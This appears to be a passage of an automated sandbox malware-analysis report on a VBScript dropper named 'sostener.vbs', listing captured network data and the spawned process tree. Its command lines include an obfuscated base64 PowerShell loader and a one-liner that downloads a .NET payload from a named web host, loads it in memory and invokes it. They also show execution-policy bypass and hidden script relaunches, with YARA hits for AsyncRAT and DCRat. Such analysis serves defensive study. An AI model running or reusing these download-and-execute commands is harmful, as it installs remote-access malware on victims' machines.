81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 Data Ascii:
2024-09-26 08:57:24 UTC	16384	IN	Data Raw: 5a 53 52 57 5a 77 6c 48 56 35 78 32 5a 75 39 6d 63 30 4e 6c 4c 7a 78 32 62 76 52 6c 4c 7a 56 32 59 79 56 33 62 7a 56 6d 55 75 30 57 5a 30 4e 58 65 54 4e 44 e3 81 82 e3 81 82 e3 81 82 42 45 45 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 6a 4c 77 34 43 4d 75 45 54 4d 49 55 47 64 68 78 47 63 74 56 47 56 35 31 6b 43 e3 81 82 e3 81 82 e3 81 82 45 e3 81 82 e3 81 82 e3 81 82 47 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 51 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 45 e3 81 82 e3 81 82 e3 81 82 43 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 Data Ascii: ZSRWZwlHV5x2Zu9mc0NlLzx2bvRlLzV2YyV3bzVmUu0WZ0NXeTNDBEEjLw4CMuETMIUGdhxGctVGV51kCEGQEC
2024-09-26 08:57:24 UTC	16384	IN	Data Raw: e3 81 82 e3 81 82 67 67 45 e3 81 82 e3 81 82 e3 81 82 4d e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 6f e3 81 82 e3 81 82 e3 81 82 70 e3 81 82 e3 81 82 e3 81 82 49 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 6f e3 81 82 e3 81 82 e3 81 82 6e e3 81 82 e3 81 82 e3 81 82 45 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 73 e3 81 82 e3 81 82 e3 81 82 51 e3 81 82 e3 81 82 e3 81 82 49 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 45 77 35 e3 81 82 e3 81 82 e3 81 82 45 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 73 e3 81 82 e3 81 82 e3 81 82 51 e3 81 82 e3 81 82 e3 81 82 49 e3 81 82 e3 Data Ascii: ggEMopIonEsQIEw5EsQI
2024-09-26 08:57:24 UTC	8089	IN	Data Raw: 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 77 51 e3 81 82 e3 81 82 e3 81 82 51 e3 81 82 e3 81 82 e3 81 82 4d 54 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 71 6f e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 4d 42 4b 43 34 68 4b 47 6f 67 42 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 51 44 6f e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 4c 57 45 77 4b 58 45 42 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 63 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 67 44 e3 81 82 e3 81 82 e3 81 82 45 e3 81 82 e3 81 82 e3 81 82 4d 54 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 Data Ascii: wQQMTqoMBKC4hKGogBQDoLWEwKXEBcgDEMT

Target ID:	0
Start time:	04:56:56
Start date:	26/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs"
Imagebase:	0x7ff661700000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:56:56
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:56:56
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	04:56:58
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000004.00000002.2534304751.00000155DC4F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_DLAgent09, Description: Detects known downloader agent, Source: 00000004.00000002.2534304751.00000155DC4F0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:57:00
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	04:57:00
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:57:00
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: RegSvcs.exePID: 3292, Parent PID: 6644

General

Target ID:	8
Start time:	04:57:02
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x7a0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	04:57:03
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:57:13
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' "
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:57:13
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:57:15
Start date:	26/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs"
Imagebase:	0x7ff661700000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:57:16
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:57:16
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:57:17
Start date:	26/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Imagebase:	0x7ff661700000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:57:18
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	04:57:19
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	04:57:19
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:57:21
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 7996, Parent PID: 7896

General

Target ID:	21
Start time:	04:57:21
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:57:21
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 8124, Parent PID: 1028

General

Target ID:	23
Start time:	04:57:22
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' "
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8148, Parent PID: 8124

General

Target ID:	24
Start time:	04:57:22
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:57:23
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: RegSvcs.exePID: 3872, Parent PID: 7896

General

Target ID:	26
Start time:	04:57:24
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xe90000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 0000001A.00000002.2343267450.0000000001509000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 0000001A.00000002.2386589663.0000000003131000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:57:27
Start date:	26/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs"
Imagebase:	0x7ff661700000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 7412, Parent PID: 7524

General

Target ID:	28
Start time:	04:57:27
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7420, Parent PID: 7412

General

Target ID:	29
Start time:	04:57:27
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	04:57:28
Start date:	26/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Imagebase:	0x7ff661700000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 7624, Parent PID: 7480

General

Target ID:	31
Start time:	04:57:28
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	04:57:28
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	04:57:30
Start date:	26/09/2024
